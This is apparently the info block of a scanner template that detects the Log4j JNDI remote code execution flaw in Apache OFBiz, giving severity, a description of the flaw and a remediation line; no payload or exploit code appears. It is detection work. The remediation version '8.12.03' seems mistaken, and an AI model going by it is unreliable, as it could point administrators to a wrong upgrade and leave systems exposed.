info:
  name: Apache OFBiz - JNDI Remote Code Execution (Apache Log4j)
  author: pdteam
  severity: critical
  description: |
    Apache OFBiz is affected by a remote code execution vulnerability in the bundled Apache Log4j logging library. Apache Log4j is vulnerable due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request, to execute arbitrary code with the permission level of the running Java process.
  remediation: Upgrade to Apache OFBiz version 8.12.03 or later.
